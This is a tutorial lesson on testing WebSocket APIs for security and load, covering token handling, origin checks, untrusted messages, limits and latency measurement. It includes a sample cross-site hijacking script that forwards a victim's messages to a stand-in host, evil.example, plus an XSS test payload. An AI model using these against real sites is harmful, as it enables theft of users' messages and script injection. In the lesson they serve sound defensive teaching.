Security and load
Tokens without headers, origin checks, limits per connection, and testing thousands of sockets.
WebSockets inherit most of HTTP's security problems and add a few of their own, mostly because a connection lasts much longer than a request. Load is different too: the cost of a WebSocket server is mostly in how many connections it holds open, not in how many requests it answers. This lesson covers both. The general techniques are in security testing basics and performance testing.
Authentication without headers
HTTP APIs usually authenticate with an Authorization header. The browser's WebSocketconstructor can't set headers at all. It takes a URL and, optionally, a list of subprotocols, and that's it. So WebSocket APIs used from browsers authenticate in one of four ways, each with something to test:
| Method | How it works | What to test |
|---|---|---|
| Cookie | The browser sends the site's cookies with the handshake automatically | Origin checking, below. This is the method that enables hijacking. |
| Token in the URL | The token goes in the query string, like ?token=… | Whether tokens end up in server and proxy logs, and how long they live. |
| First message | The socket opens unauthenticated; the client sends its token as the first message | What an unauthenticated socket can do before that message, and how long it may stay open without one. |
| Subprotocol | The token is smuggled in Sec-WebSocket-Protocol | That the server never echoes the token back, and that it isn't logged. |
This API uses the second method. The pages of this site connect with a URL like:
wss://api.testingapis.com/ws/echo?ta_key=<short-lived token>URLs get written to access logs by servers, proxies and load balancers, so a key in a URL can turn up in places nobody thinks of as secret. The website reduces the risk by using a short-lived token rather than the account's real API key. When you test an API that takes tokens in URLs, check how long they stay valid, whether they can be used more than once, and whether the logs in your own infrastructure record full query strings.
Tokens that expire mid-connection
Most servers check credentials once, at the handshake. A connection can then stay open for hours, long after the token expired, the password changed or the account was suspended. Test it: open a connection, revoke the user's access through another channel, and see whether messages keep flowing. A good server closes the connection, often with 1008 or an application code, within a documented time. Many keep sending.
Cross-site WebSocket hijacking
Ordinary cross-site requests are limited by CORS: a page on one site can't read responses from another unless that other site allows it. WebSockets aren't covered by CORS. Any page can open a socket to any server, and if the server authenticates with cookies, the browser sends them:
<!-- On https://evil.example, visited by someone signed in to chat.example.com -->
<script>
const ws = new WebSocket("wss://chat.example.com/ws"); // the browser sends chat.example.com's cookies
ws.onmessage = (e) => fetch("https://evil.example/steal", { method: "POST", body: e.data });
</script>If the chat server doesn't check where the connection came from, the attacker's page now reads the victim's messages, and can send messages as them. The defence is the Originheader, which the browser sets and page scripts can't change. The server should compare it with a list of its own sites and refuse the handshake otherwise. Test it with curl by sending a foreign origin:
$ curl -i -N --http1.1 https://api.testingapis.com/ws/echo \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Origin: https://evil.example"
HTTP/1.1 101 Switching ProtocolsThis API accepts any origin, and that's fine here: it doesn't use cookies, so a hostile page gains nothing it couldn't get by connecting itself. On an API that does authenticate with cookies, the same request should get a 403. Note that curl can send any Originit likes, so origin checks protect browser users from other sites. They don't stop scripts or bots connecting directly.
Every message is untrusted input
Messages arriving on a socket deserve the same suspicion as HTTP request bodies, and sometimes get less, because they arrive on a connection that was already authenticated. Things to try:
- Fields that claim an identity. If messages carry a sender, the server must use the connection's real identity and ignore the field:
{ "type": "message", "room": "general", "from": "alice", "text": "hi" }
// The server should ignore "from" and use the identity of the connection.
// Test: connect as bob, send this, and check what the other clients see.- Subscribing to things you shouldn't see: another user's private room, another customer's order updates. Check authorization on every subscribe message, not just at the handshake.
- Content that ends up in a page. Chat messages containing
<img src=x onerror=alert(1)>test whether the client escapes what it displays. - Malformed JSON, very deeply nested JSON, and messages of a type the server doesn't know.
- Floods: thousands of small messages per second from one connection. Is there a per-connection rate limit, and what happens when it's hit: a close with a clear code, or a slow server for everyone?
Limits
A server that holds connections open needs limits that HTTP servers can mostly ignore. For each one, find out what it is, test either side of it, and check that hitting it produces a clear close code rather than a crash or a silent hang:
| Limit | On this API |
|---|---|
| Maximum message size | 64KB in bytes; one byte more closes with 1009 |
| Maximum stream length | The ticker's count is capped at 300; asking for 999 gave 300 |
| Idle timeout | Silent connections were still open after 125 seconds |
| Connections per client | Not documented. Ask for yours, then test it. |
| Maximum connection lifetime | Not documented. Some servers close every connection after a few hours to rebalance load. |
Load testing
An HTTP load test asks how many requests per second a server can answer. A WebSocket load test asks different questions:
- How many connections can it hold open at once, and how much memory does each one cost?
- How fast can it accept new connections, for example after a restart when every client reconnects?
- How long does a message take to reach every subscriber when ten thousand are connected? That's fan-out latency, and it often grows faster than the connection count.
- What happens at the limit: are new connections refused cleanly, or do existing ones start failing?
Tools such as k6, Artillery and Gatling can open thousands of WebSocket connections and script what each one sends. Measure latency as a distribution, not an average, exactly as you would for HTTP. A quick baseline with the echo socket shows the shape:
50 echo round trips, one every 100 ms, from the machine used to write this lesson:
min 16.1 ms median 28.4 ms 95th percentile 44.6 ms max 78.6 msThe median is under 30 milliseconds, but one round trip in twenty took longer than 44, and the slowest took nearly three times the median, from a single idle client. Under load the tail grows first. If a product promises "real-time", agree on what percentile and what number that means before the load test, not after.
Exercise
Measure your own round-trip latency to the echo socket: send 50 messages, one every 100 milliseconds, timing each from send to its echo. Report the median, the 95th percentile and the maximum. Then repeat with no gap between messages, sending the next as soon as the previous echo arrives. Does the distribution change? Keep it to 50 messages; this is a shared server.